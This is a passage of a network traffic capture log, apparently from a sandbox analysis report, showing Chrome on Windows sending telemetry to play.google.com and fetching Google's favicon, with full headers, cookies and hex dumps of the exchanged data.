2024-07-04 20:21:23 UTC	521	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 32 34 34 38 30 35 31 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720124480511",null,null,null
2024-07-04 20:21:23 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=515=SEIp8gsB7cyalzHeySQDyeAbYMjS5ta9T8hcqQFtWTgm5BW-gFnR0Zn0uodwMwbTSM8MrAsZR_4NEVRBRLoDyjodMO1oBb7HnbR2r8F8-T6VK7U47FL0IkvZQhfKnorTgPuwDCWzK__YKReGbMu75B2Gi36UwiXcI6VUwTAeSCA; expires=Fri, 03-Jan-2025 20:21:23 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 20:21:23 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 04 Jul 2024 20:21:23 GMT Connection: close Transfer-Encoding: chunked
2024-07-04 20:21:23 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 20:21:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49738	172.217.16.196	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:21:23 UTC	1214	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=KYs2VZNA6HLpoa7_atkwavQNpoWqrMAC_SUzgHPZknZkOPrRvQCnSXBskoHaB_UM9uav3mHKwddn9nQQskf8IAFmE1vUpph0iqJMyEgCz07QJEmNJ4Fk40QarFAML8hUc6aiv_46aa_wA0oGbfLyoEyjPBGjm3QErkm3RlUm5ao
2024-07-04 20:21:23 UTC	704	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 04 Jul 2024 20:08:35 GMT Expires: Fri, 12 Jul 2024 20:08:35 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 768 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-04 20:21:23 UTC	686	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-07-04 20:21:23 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a eb Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
2024-07-04 20:21:23 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff fc Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-07-04 20:21:23 UTC	1390	IN	Data Raw: f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
2024-07-04 20:21:23 UTC	574	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49782	216.58.206.46	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:21:29 UTC	1298	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 933 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=KYs2VZNA6HLpoa7_atkwavQNpoWqrMAC_SUzgHPZknZkOPrRvQCnSXBskoHaB_UM9uav3mHKwddn9nQQskf8IAFmE1vUpph0iqJMyEgCz07QJEmNJ4Fk40QarFAML8hUc6aiv_46aa_wA0oGbfLyoEyjPBGjm3QErkm3RlUm5ao
2024-07-04 20:21:29 UTC	933	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 35 38 2c 5b 5b 22 31 37 32 30 31 32 34 34 37 38 30 30 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],558,[["1720124478000",null,null,null,
2024-07-04 20:21:30 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=515=mtxo_zP3sH8R_qyQwVboSInCPQjNdUJbievu2a8kVqUP6XoYc9Pd58n_TO2-mqxTqQ2xW28nSDzJmqS5RLhW9pfvl6nlns3EKI2YBxKDeQ-6ykuR56XNhioUqjEJMaVjGVqiMuULoZPpqvGyd8kf1kJfehmvWo_476AbTUDgDd8; expires=Fri, 03-Jan-2025 20:21:30 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 20:21:30 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 04 Jul 2024 20:21:30 GMT Connection: close Transfer-Encoding: chunked
2024-07-04 20:21:30 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 20:21:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49804	216.58.206.46	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:21:53 UTC	1298	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 841 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=mtxo_zP3sH8R_qyQwVboSInCPQjNdUJbievu2a8kVqUP6XoYc9Pd58n_TO2-mqxTqQ2xW28nSDzJmqS5RLhW9pfvl6nlns3EKI2YBxKDeQ-6ykuR56XNhioUqjEJMaVjGVqiMuULoZPpqvGyd8kf1kJfehmvWo_476AbTUDgDd8
2024-07-04 20:21:53 UTC	841	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 62 6f 71 5f 69 64 65 6e 74 69 74 79 66 72 6f 6e 74 65 6e 64 61 75 74 68 75 69 73 65 72 76 65 72 5f 32 30 32 34 30 36 32 33 2e 30 37 5f 70 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"boq_identityfrontendauthuiserver_20240623.07_p0",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0
2024-07-04 20:21:53 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 20:21:53 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 20:21:53 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 20:21:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49807	216.58.206.46	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:21:54 UTC	1322	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1031 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=mtxo_zP3sH8R_qyQwVboSInCPQjNdUJbievu2a8kVqUP6XoYc9Pd58n_TO2-mqxTqQ2xW28nSDzJmqS5RLhW9pfvl6nlns3EKI2YBxKDeQ-6ykuR56XNhioUqjEJMaVjGVqiMuULoZPpqvGyd8kf1kJfehmvWo_476AbTUDgDd8
2024-07-04 20:21:54 UTC	1031	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 32 34 35 31 32 38 35 38 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720124512858",null,null,null
2024-07-04 20:21:54 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 20:21:54 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 20:21:54 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 20:21:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49806	216.58.206.46	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:21:54 UTC	1322	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1110 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors 